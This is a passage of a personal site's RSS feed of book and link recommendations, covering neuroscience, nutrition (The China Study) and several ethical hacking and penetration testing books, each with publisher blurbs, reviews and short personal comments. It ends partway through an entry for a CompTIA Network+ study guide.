<h2 id="references">
  <em>References</em>
</h2>
<hr />


          ]]>
        </description>

        <pubDate>Tue, 05 Apr 2022 00:00:00 -0500</pubDate>
        <link>https://nima.ninja/books/2022/dopamine-nation-finding-balance-in-the-age-of-indulgence</link>
        <guid isPermaLink="true">https://nima.ninja/books/2022/dopamine-nation-finding-balance-in-the-age-of-indulgence</guid>

        
          <media:content url="https://nima.ninja/books/assets/2022/dopamine-nation-book.jpg" medium="image" />
        

        
          <category>books</category>
        
        
          <category>Health</category>
        
          <category>Neuroscience</category>
        
          <category>Performance Improvement</category>
        
          <category>Top Book</category>
        
          <category>Top Science Book</category>
        
      </item>
    
      <item>
        <title>11 Neurosciece Hacks to Wire Your Brain for Success</title>

        <description>
          <![CDATA[
            
              <p><img src="https://nima.ninja/links/assets/2022/neuroscience-hacks.png" alt="11 Neurosciece Hacks to Wire Your Brain for Success" /></p>
            

            <p>
  <br />
</p>

<p>
<br /></p>

<p>A few simple but very important daily hacks for a sharper brain.</p>

<p>
  <br />
</p>
<h2 id="external-links">
  <em>External Links</em>
</h2>
<hr />
<ul>
  <li>
    <h3 id="11-neurosciece-hacks-to-wire-your-brain-for-success"><a href="https://www.forbes.com/sites/deeppatel/2017/04/10/11-neuroscience-hacks-to-wire-your-brain-for-success/?sh=182aa9275d32">11 Neurosciece Hacks to Wire Your Brain for Success</a></h3>
  </li>
</ul>

<p>
  <br />
</p>
<h2 id="references">
  <em>References</em>
</h2>
<hr />


          ]]>
        </description>

        <pubDate>Sun, 06 Feb 2022 00:00:00 -0500</pubDate>
        <link>https://nima.ninja/links/2022/11-neuroscience-hacks-to-wire-your-brain-for-success</link>
        <guid isPermaLink="true">https://nima.ninja/links/2022/11-neuroscience-hacks-to-wire-your-brain-for-success</guid>

        
          <media:content url="https://nima.ninja/links/assets/2022/neuroscience-hacks.png" medium="image" />
        

        
          <category>links</category>
        
        
          <category>Neuroscience</category>
        
          <category>Performance Improvement</category>
        
          <category>Biohacks</category>
        
      </item>
    
      <item>
        <title>TED Talk: Your Can Grow New Brain Cells. Here is How</title>

        <description>
          <![CDATA[
            
              <p><img src="https://nima.ninja/links/assets/2022/powerful-brain.png" alt="TED Talk: Your Can Grow New Brain Cells. Here is How" /></p>
            

            <p>
  <br />
</p>

<p>
<br /></p>

<p>Can we, as adults, grow new neurons? Neuroscientist Sandrine Thuret says that we can, and she offers research and practical advice on how we can help our brains better perform neurogenesis, improving mood, increasing memory formation and preventing the decline associated with aging along the way.</p>

<p>
  <br />
</p>
<h2 id="external-links">
  <em>External Links</em>
</h2>
<hr />
<ul>
  <li>
    <h3 id="your-can-grow-new-brain-cells-here-is-how"><a href="https://www.ted.com/talks/sandrine_thuret_you_can_grow_new_brain_cells_here_s_how?language=en">Your Can Grow New Brain Cells. Here is How</a></h3>
  </li>
</ul>

<p>
  <br />
</p>
<h2 id="references">
  <em>References</em>
</h2>
<hr />


          ]]>
        </description>

        <pubDate>Sat, 08 Jan 2022 00:00:00 -0500</pubDate>
        <link>https://nima.ninja/links/2022/you-can-grow-new-brain-cells-here-is-how</link>
        <guid isPermaLink="true">https://nima.ninja/links/2022/you-can-grow-new-brain-cells-here-is-how</guid>

        
          <media:content url="https://nima.ninja/links/assets/2022/powerful-brain.png" medium="image" />
        

        
          <category>links</category>
        
        
          <category>Neuroscience</category>
        
          <category>Neurogenesis</category>
        
          <category>Performance Improvement</category>
        
      </item>
    
      <item>
        <title>The China Study: The Most Comprehensive Study of Nutrition Ever Conducted And the Startling Implications for Diet, Weight Loss, And Long-term Health</title>

        <description>
          <![CDATA[
            
              <p><img src="https://nima.ninja/books/assets/2022/the-china-study-book.jpg" alt="The China Study: The Most Comprehensive Study of Nutrition Ever Conducted And the Startling Implications for Diet, Weight Loss, And Long-term Health" /></p>
            

            <p>
  <br />
</p>

<p>
  <br />
</p>

<h2 id="amazon-description">Amazon Description</h2>
<hr />
<p>Even today, as trendy diets and a weight-loss frenzy sweep the nation, two-thirds of adults are still obese and children are being diagnosed with Type 2 diabetes, typically an “adult” disease, at an alarming rate. If we’re obsessed with being thin more so than ever before, why are Americans stricken with heart disease as much as we were 30 years ago?</p>

<p>In The China Study, Dr. T. Colin Campbell details the connection between nutrition and heart disease, diabetes, and cancer. The report also examines the source of nutritional confusion produced by powerful lobbies, government entities, and opportunistic scientists. The New York Times has recognized the study as the “Grand Prix of epidemiology” and the “most comprehensive large study ever undertaken of the relationship between diet and the risk of developing disease.”</p>

<p>The China Study is not a diet book. Dr. Campbell cuts through the haze of misinformation and delivers an insightful message to anyone living with cancer, diabetes, heart disease, obesity, and those concerned with the effects of aging.</p>

<p>
  <br />
</p>
<h2 id="editorial-reviews">Editorial Reviews</h2>
<hr />
<p>
  <br />
</p>
<h3 id="review">Review</h3>
<p>“[These] findings from the most comprehensive large study ever undertaken of the relationship between diet and the risk of developing disease are challenging much of American dietary dogma.”
— The New York Times</p>

<p>“Reflects the profound changes that industrialization is bringing to diet and disease patterns in China, statistics that have had an impact on reevaluating dietary policy in the United States and worldwide.”
— Washington Post</p>

<p>“Everyone in the field of nutrition science stands on the shoulders of Dr. Campbell, who is one of the giants in the field. This is one of the most important books about nutrition ever written—reading it may save your life.”
—Dean Ornish, MD, Founder &amp; President, Preventative Medicine Research Institute; Clinical Professor of Medicine, University of California, San Francisco; Author, Dr. Dean Ornish’s Program for Reversing Heart Disease and Love &amp; Survival</p>

<p>“Colin Campbell’s The China Study is an important book, and a highly readable one. With his son, Tom, Colin studies the relationship between diet and disease, and his conclusions are startling. The China Study is a story that needs to be heard.”
—Robert C. Richardson, PhD, Nobel Prize Winner; Professor of Physics and Vice Provost of Research, Cornell University</p>

<p>“The China Study gives critical, life-saving nutritional information … Dr. Campbell’s exposé of the research and medical establishment makes this book a fascinating read and one that could change the future for all of us.”
—Joel Fuhrman, MD, Author, Eat to Live</p>

<p>“The China Study is a life changer . . . After reading it I felt compelled to recommend this book to as many people as possible.”
—Bob Napoli, Senior Vice President, Operations, Hudson Group</p>

<p>
  <br />
</p>
<h3 id="about-the-author">About the Author</h3>
<p>For more than 40 years, T. Colin Campbell, PhD, has been at the forefront of nutrition research. His legacy, the China Study, is the most comprehensive study of health and nutrition ever conducted. Dr. Campbell is the Jacob Gould Schurman Professor Emeritus of Nutritional Biochemistry at Cornell University. He has received more than 70 grant years of peer-reviewed research funding and authored more than 300 research papers. The China Study was the culmination of a 20-year partnership of Cornell University, Oxford University and the Chinese Academy of Preventive Medicine.</p>

<p>A 1999 graduate of Cornell University and recipient of a medical degree in 2010, Thomas M. Campbell II, MD, is a writer, actor and five-time marathon runner.</p>

<p>
  <br />
</p>
<h2 id="book-details">Book Details</h2>
<hr />
<p>Authors: T. Colin Campbell, Thomas Campbell</p>

<p>Category: Food Science, Nutrition</p>

<p>Publisher: BenBella Books; 1st edition (May 11, 2006)</p>

<p>Paperback: 419 pages</p>

<p>
  <br />
</p>
<h2 id="my-comment">My Comment</h2>
<hr />
<p>This book is about one of the longest and most comprehensive researches ever done in the history of nutrition field. This study took about 27 years and the results were startling. It concluded that animal meat and diary products may boost the growth of cancer cells and a chain of other diseases and also vegetarianism is the real diet for us. This was the summary of this book but it contains many other essential details. Whether you believe the results of this experiment are right or wrong, there is no doubt that fruits and vegetables are absolutely necessary for our diet in order for us to maintain a healthy lifestyle and many explanations in this book make it really clear why this is so.
I had read this book many years ago when I’d put a lot of effort into bodybuilding and healthy diets and the explanations in this book was really eye opening for me at that time. As I searched amazon for this book post, I saw that there is now a revised edition of this book that’s been written in recent years, I recommend that you read the new revised and expanded edition.</p>

<p>
  <br />
</p>
<h2 id="references">
  <em>References</em>
</h2>
<hr />


          ]]>
        </description>

        <pubDate>Sat, 08 Jan 2022 00:00:00 -0500</pubDate>
        <link>https://nima.ninja/books/2022/the-china-study-the-most-comprehensive-study-of-nutrition-ever-conducted</link>
        <guid isPermaLink="true">https://nima.ninja/books/2022/the-china-study-the-most-comprehensive-study-of-nutrition-ever-conducted</guid>

        
          <media:content url="https://nima.ninja/books/assets/2022/the-china-study-book.jpg" medium="image" />
        

        
          <category>books</category>
        
        
          <category>Nutrition</category>
        
          <category>Health</category>
        
          <category>Performance Improvement</category>
        
          <category>Top Book</category>
        
      </item>
    
      <item>
        <title>Bug Bounty Bootcamp: The Guide to Finding and Reporting Web Vulnerabilities</title>

        <description>
          <![CDATA[
            
              <p><img src="https://nima.ninja/books/assets/2021/bug-bounty-bootcamp-book.jpg" alt="Bug Bounty Bootcamp: The Guide to Finding and Reporting Web Vulnerabilities" /></p>
            

            <p>
  <br />
</p>

<p>
  <br />
</p>

<h2 id="amazon-description">Amazon Description</h2>
<hr />
<p>
  <strong>Bug Bounty Bootcamp teaches you how to hack web applications. You will learn how to perform reconnaissance on a target, how to identify vulnerabilities, and how to exploit them. You’ll also learn how to navigate bug bounty programs set up by companies to reward security professionals for finding bugs in their web applications.</strong>
</p>

<p>Bug bounty programs are company-sponsored programs that invite researchers to search for vulnerabilities on their applications and reward them for their findings. This book is designed to help beginners with little to no security experience learn web hacking, find bugs, and stay competitive in this booming and lucrative industry.</p>

<p>You’ll start by learning how to choose a program, write quality bug reports, and maintain professional relationships in the industry. Then you’ll learn how to set up a web hacking lab and use a proxy to capture traffic. In Part 3 of the book, you’ll explore the mechanisms of common web vulnerabilities, like XSS, SQL injection, and template injection, and receive detailed advice on how to find them and bypass common protections. You’ll also learn how to chain multiple bugs to maximize the impact of your vulnerabilities.</p>

<p>Finally, the book touches on advanced techniques rarely covered in introductory hacking books but that are crucial to understand to hack web applications. You’ll learn how to hack mobile apps, review an application’s source code for security issues, find vulnerabilities in APIs, and automate your hacking process. By the end of the book, you’ll have learned the tools and techniques necessary to be a competent web hacker and find bugs on a bug bounty program.</p>

<p>
  <br />
</p>
<h2 id="editorial-reviews">Editorial Reviews</h2>
<hr />
<p>
  <br />
</p>
<h3 id="review">Review</h3>
<p>“A really good book for getting started in Bug Bounty, out at a time when something like this was really needed. You can take as many ethical hacking courses as you want, but when it comes to bug bounty, there is so much information and tools it can be imitating to start . . . This really should be the first book read by ANYONE looking to start in the bug bounty game.”
—Alex/Muldwych, The Security Noob</p>

<p>“Bug Bounty Bootcamp should be on every hacker’s shelf. Vickie Li answers an important question: ‘So you found your first flaw, what’s next?’ By explaining how to write a bug report and interact with clients, she presents a wonderful guide on starting your security career.”
—Andrew Orr, Associate Editor, The Mac Observer</p>

<p>“I have enjoyed Bug Bounty Bootcamp over the past few weeks and this is great for bug bounty beginners like myself. Anyone who is interested in learning more about different web vulnerabilities, bug bounty platforms, how the internet works, and how to make money making the web safer this is the book for you. Thanks to Vickie for writing such a great book!”
—The Digital Empress, YouTuber and Blogger</p>

<p>“Bug Bounty Bootcamp by Vickie Li is a thorough and masterful explanation for how to find bugs and responsibly report them. It is written so clearly, and provides such useful step-by-step instructions that as I was reading it, I was tempted to start hunting for bugs myself.”
—Cynthia Brumfield, President, DCT-Associates</p>

<p>“Bug Bounty Bootcamp is a great resource for those who want to participate in Bug Bounties because it not only teaches you about the technical aspects, but helps you develop a methodology and sustain your testing. Some technology knowledge is assumed, but it does a solid job of describing the relevant vulnerability types from first principles, so it can be a strong resource for those new to the security space. The writing style is clear and to the point.”
—David Tomaschik, Security Engineer at Google, Blogger at System Overlord</p>

<p>“I highly suggest reading Bug Bounty Bootcamp.”
—@HolyBugx</p>

<p>“Pure GEM. Learned a lot of things from her book.”
—Aakash Choudhary, @LearnerHunter</p>

<p>“Loved the book. Well written, clear, concise, and easy to follow. Everyone from the beginner bug hunter to the seasoned pro will find a nugget, some nuggets or just pure nuggets of amazing information, tips and advice.”
—Douglas Campbell, Advanced Reviewer</p>

<p>“The only book you need to get started in bug bounty is @vickieli7’s book coming out from @nostarch, Bug Bounty Bootcamp. It’s a detailed how-to with lots of technical how-to steps.”
—Metacurity, Top Infosec News Destination, @Metacurity</p>

<p>“The new go-to resource for a beginner in web app hacking . . . I recommend this book before anything else for a beginner trying to learn web security. Vickie provides an excellent delivery of breaking down complex concepts that makes it easy to comprehend. Also, the step by step guidance of exploiting a vulnerability is fantastic to refer back to . . . If you are a complete beginner and feel confused or lost in all of the information out there then stop, grab this book, read through it once, then use it as your guide.”
—AntiRuse, @AntiRuse, Blogger</p>

<p>“Definitely recommend it!”
—Michael, @DoAbarrel_Troll</p>

<p>“Bug Bounty Bootcamp is <em>the</em> book for everyone in Information Technology, not just those interested in bug bounties . . . This easy-to-read guide breaks down complicated topics into a simple progression through technical concepts. From a foundational overview of the industry and how to get started, the reader progresses from Cross Site Scripting all the way through to API hacking and use of Fuzzers. Vickie Li has done a tremendous service to information security by sharing her expert understanding of bug hunting in a highly accessible way. Recommended reading for all IT professionals, new or veteran.”
—Jess Vachon, Advanced Reviewer</p>

<p>“Vicki Li’s book took me from knowing nothing about bug bounties, to finding my first bug. Li goes over the process of bug bounties, writing reports, and how to make relationships with companies. Li also has expert techniques that will help your automate your hacking experience and even hacking android apps.”
—Anthony Ware, Advanced Reviewer</p>

<p>
  <br />
</p>
<h3 id="about-the-author">About the Author</h3>
<p>Vickie Li is a developer and security researcher experienced in finding and exploiting vulnerabilities in web applications. She has reported vulnerabilities to firms such as Facebook, Yelp and Starbucks and contributes to a number of online training programs and technical blogs.</p>

<p>
  <br />
</p>
<h2 id="book-details">Book Details</h2>
<hr />
<p>Author: Vickie Li</p>

<p>Category: Computer Programming Debugging, Software Testing, Computer Networking</p>

<p>Publisher: No Starch Press (December 7, 2021)</p>

<p>Paperback: 416 pages</p>

<p>
  <br />
</p>
<h2 id="my-comment">My Comment</h2>
<hr />
<p>If you want to start in the field of Bug Bounty Hunting or even if you are an experienced bug bounty hunter, you’ll benefit tremendously from this book. Vickie Li is a great writer and she explains every concept very carefully. If you are a newcomer, you’ll learn a huge amount from reading this book and this book is highly recommended for bug bounty newcomers who have enough networking and programming and http knowledge to understand the topics that are written in this book.</p>

<p>
  <br />
</p>
<h2 id="references">
  <em>References</em>
</h2>
<hr />


          ]]>
        </description>

        <pubDate>Mon, 29 Nov 2021 19:00:04 -0500</pubDate>
        <link>https://nima.ninja/books/2021/bug-bounty-bootcamp</link>
        <guid isPermaLink="true">https://nima.ninja/books/2021/bug-bounty-bootcamp</guid>

        
          <media:content url="https://nima.ninja/books/assets/2021/bug-bounty-bootcamp-book.jpg" medium="image" />
        

        
          <category>books</category>
        
        
          <category>Web Application Security</category>
        
          <category>Bug Bounty</category>
        
          <category>Hacking</category>
        
          <category>Prerequisite</category>
        
          <category>Newcomers</category>
        
          <category>Top Book</category>
        
          <category>Top Hacking Book</category>
        
          <category>HTTP</category>
        
          <category>HTTP Headers</category>
        
          <category>Security Headers</category>
        
      </item>
    
      <item>
        <title>Penetration Testing: A Hands-On Introduction to Hacking</title>

        <description>
          <![CDATA[
            
              <p><img src="https://nima.ninja/books/assets/2021/penetration-testing-book.jpg" alt="Penetration Testing: A Hands-On Introduction to Hacking" /></p>
            

            <p>
  <br />
</p>

<p>
  <br />
</p>

<h2 id="amazon-description">Amazon Description</h2>
<hr />
<p>Penetration testers simulate cyber attacks to find security weaknesses in networks, operating systems, and applications. Information security experts worldwide use penetration techniques to evaluate enterprise defenses.</p>

<p>In Penetration Testing, security expert, researcher, and trainer Georgia Weidman introduces you to the core skills and techniques that every pentester needs. Using a virtual machine–based lab that includes Kali Linux and vulnerable operating systems, you’ll run through a series of practical lessons with tools like Wireshark, Nmap, and Burp Suite. As you follow along with the labs and launch attacks, you’ll experience the key stages of an actual assessment—including information gathering, finding exploitable vulnerabilities, gaining access to systems, post exploitation, and more.</p>

<p>Learn how to:
–Crack passwords and wireless network keys with brute-forcing and wordlists
–Test web applications for vulnerabilities
–Use the Metasploit Framework to launch exploits and write your own Metasploit modules
–Automate social-engineering attacks
–Bypass antivirus software
–Turn access to one machine into total control of the enterprise in the post exploitation phase</p>

<p>You’ll even explore writing your own exploits. Then it’s on to mobile hacking—Weidman’s particular area of research—with her tool, the Smartphone Pentest Framework.</p>

<p>With its collection of hands-on lessons that cover key tools and strategies, Penetration Testing is the introduction that every aspiring hacker needs.</p>

<p>
  <br />
</p>
<h2 id="editorial-reviews">Editorial Reviews</h2>
<hr />
<p>
  <br />
</p>
<h3 id="review">Review</h3>
<p>“The explanatory subtitle of this book is ‘A Hands-On Introduction to Hacking,’ and it’s exactly what you’ll get. This is the best book for pentesting beginners that I ever had the pleasure of reading.”
—Help Net Security</p>

<p>“An excellent resource into the realm of penetration testing.”
—Ethical Hacker</p>

<p>“Practical, useful and insightful. How hackers work and how you can use the same methods and tools to guard your systems against attack.”
—Sandra Henry-Stocker, IT World</p>

<p>“Weidman’s presentation has much to recommend it to the technical security professional. Definitely a recommended read.”
—Richard Austin, IEEE Cipher</p>

<p>“An excellent resource into the realm of penetration testing.”
—Xavier Mertins, TrueSec</p>

<p>“A sound introduction to pentesting.”
—ACM Computing Reviews</p>

<p>“A great book on infosec, detailing a large sum of computer penetration testing and exploitation.”
—Dan Borges, Lockboxx</p>

<p>“A great introduction to finding vulnerabilities in your system penetration testing made accessible, and well illustrated too.”
—MagPi Magazine</p>

<p>“This is one of the top books you must read if you are new to penetration testing . . . Not only is the book still relevant to the community, new courses are being created that center around this book. Including a new one taught by Georgia herself! And although Georgia is currently working on a new version, this book is still a must have in any hacker’s collection.”
—Davin Jackson, Alpha Cyber Security, Books to Start Your Penetration Testing Journey</p>

<p>“Arguably, one of the best books I have ever read as a beginner. I learned about different domains of security and penetration testing, and the author never slipped from the point and got distracted. Overall, an excellent informational resource, a great introduction to penetration testing.”
—Sudo Realm</p>

<p>“Penetration Testing: A Hands-on Introduction to Hacking, by Ms. Georgia Weidman, is one of the best book for to start with and for advancing the career in the field of penetration testing. I personally suggest the learners to start with this as the use of words are very simple which makes learning easy, also the methods are well explained for novice to grasp.”
—Kamal Dev, KamalDev.me</p>

<p>“The Bible for IT-based testing.”
—Dave, /@CyberOutsider</p>

<p>
  <br />
</p>
<h3 id="about-the-author">About the Author</h3>
<p>Georgia Weidman is a penetration tester and researcher, as well as the founder of Bulb Security, a security consulting firm. She presents at conferences around the world, including Black Hat, ShmooCon, and DerbyCon, and teaches classes on topics such as penetration testing, mobile hacking, and exploit development. She was awarded a DARPA Cyber Fast Track grant to continue her work in mobile device security.</p>

<p>
  <br />
</p>
<h2 id="book-details">Book Details</h2>
<hr />
<p>Author: Georgia Weidman</p>

<p>Category: Penetration Testing, Computer Networking</p>

<p>Publisher: No Starch Press; 1st edition (June 14, 2014)</p>

<p>Paperback: 528 pages</p>

<p>
  <br />
</p>
<h2 id="my-comment">My Comment</h2>
<hr />
<p>This book is one of the greatest books for newcomers to get their hands dirty with hands-on experiment in the field of hacking, the book is quite old but the core concepts are still the same, many complain that they cannot follow with the book exercises but it is wrong, you need to use google and you shouldn’t complain about not finding book resources if you really want to become a professional hacker, all the book sections except the last part which is about mobile hacking can be done and if you google enough, you can find all the necessary files and programs that are referred to in this book. It is highly recommended and necessary to practice the things that are mentioned in the book for yourself. If you check OSCP certification syllabus, you’ll be amazed that most of them are the topics that are covered and practiced in this book! So it is recommended that you read this book and then some other courses for Privilege Escalation and Buffer Overflows before trying OSCP.</p>

<p>
  <br />
</p>
<h2 id="references">
  <em>References</em>
</h2>
<hr />


          ]]>
        </description>

        <pubDate>Mon, 29 Nov 2021 19:00:03 -0500</pubDate>
        <link>https://nima.ninja/books/2021/penetration-testing-a-hands-on-introduction-to-hacking</link>
        <guid isPermaLink="true">https://nima.ninja/books/2021/penetration-testing-a-hands-on-introduction-to-hacking</guid>

        
          <media:content url="https://nima.ninja/books/assets/2021/penetration-testing-book.jpg" medium="image" />
        

        
          <category>books</category>
        
        
          <category>Penetration Testing</category>
        
          <category>Hacking</category>
        
          <category>Hands-On</category>
        
          <category>Prerequisite</category>
        
          <category>Newcomers</category>
        
          <category>Top Book</category>
        
          <category>Top Hacking Book</category>
        
          <category>OSCP</category>
        
      </item>
    
      <item>
        <title>Linux Basics for Hackers: Getting Started with Networking, Scripting, and Security in Kali</title>

        <description>
          <![CDATA[
            
              <p><img src="https://nima.ninja/books/assets/2021/linux-basics-for-hackers-book.jpg" alt="Linux Basics for Hackers: Getting Started with Networking, Scripting, and Security in Kali" /></p>
            

            <p><br />
<img src="https://nima.ninja/books/assets/2021/linux-basics-for-hackers-book.jpg" width="303" height="400" alt="Linux Basics for Hackers book cover" />
<br /></p>

<h2 id="amazon-description">Amazon Description</h2>
<hr />
<p>This practical, tutorial-style book uses the Kali Linux distribution to teach Linux basics with a focus on how hackers would use them. Topics include Linux command line basics, filesystems, networking, BASH basics, package management, logging, and the Linux kernel and drivers.</p>

<p>If you’re getting started along the exciting path of hacking, cybersecurity, and pentesting, Linux Basics for Hackers is an excellent first step. Using Kali Linux, an advanced penetration testing distribution of Linux, you’ll learn the basics of using the Linux operating system and acquire the tools and techniques you’ll need to take control of a Linux environment.</p>

<p>First, you’ll learn how to install Kali on a virtual machine and get an introduction to basic Linux concepts. Next, you’ll tackle broader Linux topics like manipulating text, controlling file and directory permissions, and managing user environment variables. You’ll then focus in on foundational hacking concepts like security and anonymity and learn scripting skills with bash and Python. Practical tutorials and exercises throughout will reinforce and test your skills as you learn how to:</p>

<ul>
  <li>Cover your tracks by changing your network information and manipulating the rsyslog logging utility</li>
  <li>Write a tool to scan for network connections, and connect and listen to wireless networks</li>
  <li>Keep your internet activity stealthy using Tor, proxy servers, VPNs, and encrypted email</li>
  <li>Write a bash script to scan open ports for potential targets</li>
  <li>Use and abuse services like MySQL, Apache web server, and OpenSSH</li>
  <li>Build your own hacking tools, such as a remote video spy camera and a password cracker</li>
</ul>

<p>Hacking is complex, and there is no single way in. Why not start at the beginning with Linux Basics for Hackers?</p>

<p>
  <br />
</p>
<h2 id="editorial-reviews">Editorial Reviews</h2>
<hr />
<p>
  <br />
</p>
<h5 id="review">Review</h5>
<p>“The information provided can help even a general user to get more comfortable with the Linux operating system without feeling overwhelmed by more complex, security-related topics and usage. While we could all benefit from more attention to security, Linux Basics for Hackers just might inspire the next crop of budding techies into the security rock stars of tomorrow.”
—Tim Everson, The Ethical Hacker Network</p>

<p>“If you’re just getting started or working your way to expert level, getting a copy of this book might be one of the best things you can do to develop your cybersecurity skills.”
—Sandra Henry-Stocker, Network World</p>

<p>“Linux Basics for Hackers is immediately practical. Its quick and dirty approach to exploring and using a Linux system was welcome.”
—Jesse Smith, DistroWatch Weekly</p>

<p>“If you are starting out in Computer Science and want to get up to speed quickly on Linux and Unix like operating systems, working through this book will put you well ahead of your fellow students, and quickly.”
—Greg Laden, Greg Laden’s Blog</p>

<p>“A great guide for those who are not familiar with Linux as well as those who are proficient.”
—Davin Jackson, Alpha Cyber Security, Books to Start Your Penetration Testing Journey</p>

<p>“Linux Basics for Hackers is the best book for Jr. penetration testers and newbies who want to learn InfoSec. Though aimed at hacking, it’s the best general intro to Linux I’ve read. Gives a great overview of Linux basics and useful terminal commands.”
—@hackerb0t</p>

<p>
  <br />
</p>
<h3 id="about-the-author">About the Author</h3>
<p>OccupyTheWeb is an InfoSec consultant, forensic investigator, and trainer with more than 20 years in the industry. He maintains the Hackers-Arise training site (https://www.hackers-arise.com/) and trains US military personnel, Department of Defense contractors, and federal employees in information security and hacking.</p>

<p>
  <br />
</p>
<h2 id="book-details">Book Details</h2>
<hr />
<p>Author: OccupyTheWeb</p>

<p>Category: Linux Networking &amp; System Administration</p>

<p>Publisher: No Starch Press; Illustrated edition (December 4, 2018)</p>

<p>Paperback: 248 pages</p>

<p>
  <br />
</p>
<h2 id="my-comment">My Comment</h2>
<hr />
<p>I think this is one of the best Linux books for newcomers, if you want to start in ethical hacking field, you need to learn Linux and this is one the best books to read first. The book is small, the author OTW is an amazing writer, he explains every topic very smoothly. Learn Bash, Python, Networking basics in Linux, Learn how to use Proxychains…
Read every article and book this author writes because his writing style is great and his knowledge in the InfoSec field is unbelievable.</p>

<p>
  <br />
</p>
<h2 id="references">
  <em>References</em>
</h2>
<hr />


          ]]>
        </description>

        <pubDate>Mon, 29 Nov 2021 19:00:02 -0500</pubDate>
        <link>https://nima.ninja/books/2021/linux-basics-for-hackers</link>
        <guid isPermaLink="true">https://nima.ninja/books/2021/linux-basics-for-hackers</guid>

        
          <media:content url="https://nima.ninja/books/assets/2021/linux-basics-for-hackers-book.jpg" medium="image" />
        

        
          <category>books</category>
        
        
          <category>OccupyTheWeb</category>
        
          <category>Linux</category>
        
          <category>Hacking</category>
        
          <category>Prerequisite</category>
        
          <category>Newcomers</category>
        
          <category>Top Book</category>
        
      </item>
    
      <item>
        <title>CEH v11 Certified Ethical Hacker Study Guide</title>

        <description>
          <![CDATA[
            
              <p><img src="https://nima.ninja/books/assets/2021/ceh-book.jpg" alt="CEH v11 Certified Ethical Hacker Study Guide" /></p>
            

            <p>
  <br />
</p>

<p>
  <br />
</p>

<h2 id="amazon-description">Amazon Description</h2>
<hr />
<p>As protecting information continues to be a growing concern for today’s businesses, certifications in IT security have become highly desirable, even as the number of certifications has grown. Now you can set yourself apart with the Certified Ethical Hacker (CEH v11) certification. The CEH v11 Certified Ethical Hacker Study Guide offers a comprehensive overview of the CEH certification requirements using concise and easy-to-follow instructions. Chapters are organized by exam objective, with a handy section that maps each objective to its corresponding chapter, so you can keep track of your progress. The text provides thorough coverage of all topics, along with challenging chapter review questions and Exam Essentials, a key feature that identifies critical study areas. Subjects include common attack practices like reconnaissance and scanning. Also covered are topics like intrusion detection, DoS attacks, buffer overflows, wireless attacks, mobile attacks, Internet of Things (IoT) and more.</p>

<p>This study guide goes beyond test prep, providing practical hands-on exercises to reinforce vital skills and real-world scenarios that put what you’ve learned into the context of actual job roles.</p>

<ul>
  <li>Gain a unique certification that allows you to function like an attacker, allowing you to identify vulnerabilities so they can be remediated</li>
  <li>Expand your career opportunities with an IT certificate that satisfies the Department of Defense’s 8570 Directive for Information Assurance positions</li>
  <li>Fully updated for the 2020 CEH v11 exam, including the latest developments in IT security</li>
  <li>Access the Sybex online learning center, with chapter review questions, full-length practice exams, hundreds of electronic flashcards, and a glossary of key terms</li>
</ul>

<p>Thanks to its clear organization, all-inclusive coverage, and practical instruction, the CEH v11 Certified Ethical Hacker Study Guide is an excellent resource for anyone who needs to understand the hacking process or anyone who wants to demonstrate their skills as a Certified Ethical Hacker.</p>

<p>
  <br />
</p>
<h2 id="editorial-reviews">Editorial Reviews</h2>
<hr />
<p>Your complete guide to preparing for the Certified Ethical Hacker version 11 Certification exam</p>

<p>CEH v11 Certified Ethical Hacker Study Guide gives you a hands-on resource for preparing for the challenging body of knowledge covered in the exam. This Sybex Study Guide covers 100% of the 2020 CEH certification requirements presented in an easy-to-follow approach. To keep track of your progress, chapters are organized by exam objective, with a section that maps each objective to its corresponding chapter. The text provides coverage of all topics, with chapter review questions and Exam Essentials, a key feature that identifies critical study areas. Subjects include common attack practices like reconnaissance and scanning. Also covered are topics like intrusion detection, DoS attacks, buffer overflows, wireless attacks, mobile attacks, Internet of Things (IoT), cloud vulnerabilities, and more.</p>

<p>Coverage of 100% of all exam objectives in this Study Guide means you’ll be ready for:</p>

<ul>
  <li>Footprinting and Reconnaissance</li>
  <li>Scanning Networks</li>
  <li>Enumeration</li>
  <li>System Hacking</li>
  <li>Malware</li>
  <li>Social Engineering</li>
  <li>Wireless Security</li>
  <li>Cryptography</li>
  <li>Interactive learning environment</li>
</ul>

<p>Take your exam prep to the next level with Sybex’s superior interactive online study tools. To access our learning environment, visit www.wiley.com/go/sybextestprep, register your book to receive your unique PIN, and instantly gain a year of FREE access to:</p>

<ul>
  <li>Interactive test bank with 2 practice exams. Practice exams help you identify areas where further review is needed. 500 questions total!</li>
  <li>100 electronic flashcards to reinforce learning and last-minute prep before the exam</li>
  <li>Comprehensive glossary in PDF format gives you instant access to the key terms so you are fully prepared</li>
</ul>

<p>
  <br />
</p>
<h3 id="about-the-author">About the Author</h3>
<p>RIC MESSIER, CEH, GCIH, GSEC, CISSP, CCSP is a consultant, educator, and author of many books on information security and digital forensics. With decades of experience in information technology and information security, Ric has held the varied roles of programmer, system administrator, network engineer, security engineering manager, VoIP engineer, consultant, and professor.</p>

<p>
  <br />
</p>
<h2 id="book-details">Book Details</h2>
<hr />
<p>Author: Ric Messier</p>

<p>Category: Security Certifications</p>

<p>Publisher: Sybex; 1st edition (August 3, 2021)</p>

<p>Paperback: 704 pages</p>

<p>
  <br />
</p>
<h2 id="my-comment">My Comment</h2>
<hr />
<p>I had read the CEH v9 Paperback – January 1, 2017 by Sean-Philip Oriyano some years ago, This book is the new version for CEH exam. It is an easy and fast read and only recommended for newcomers, you won’t get much working experience from this book but you can get yourself familiarized with almost all hacking fields so you can later choose which field you like the most so that you can focus on that one field for much more depth later. So it is a great book for newcomers.</p>

<p>
  <br />
</p>
<h2 id="references">
  <em>References</em>
</h2>
<hr />


          ]]>
        </description>

        <pubDate>Mon, 29 Nov 2021 19:00:01 -0500</pubDate>
        <link>https://nima.ninja/books/2021/certified-ethical-hacker</link>
        <guid isPermaLink="true">https://nima.ninja/books/2021/certified-ethical-hacker</guid>

        
          <media:content url="https://nima.ninja/books/assets/2021/ceh-book.jpg" medium="image" />
        

        
          <category>books</category>
        
        
          <category>EC-Council</category>
        
          <category>CEH</category>
        
          <category>Certifications</category>
        
          <category>Hacking</category>
        
          <category>Prerequisite</category>
        
          <category>Newcomers</category>
        
      </item>
    
      <item>
        <title>CompTIA Network+ Study Guide: Exam N10-007</title>

        <description>
          <![CDATA[
            
              <p><img src="https://nima.ninja/books/assets/2021/network-plus-book.jpg" alt="CompTIA Network+ Study Guide: Exam N10-007" /></p>
            

            <p>
  <br />
</p>

<p>
  <br />
</p>

<h2 id="amazon-description">Amazon Description</h2>
<hr />
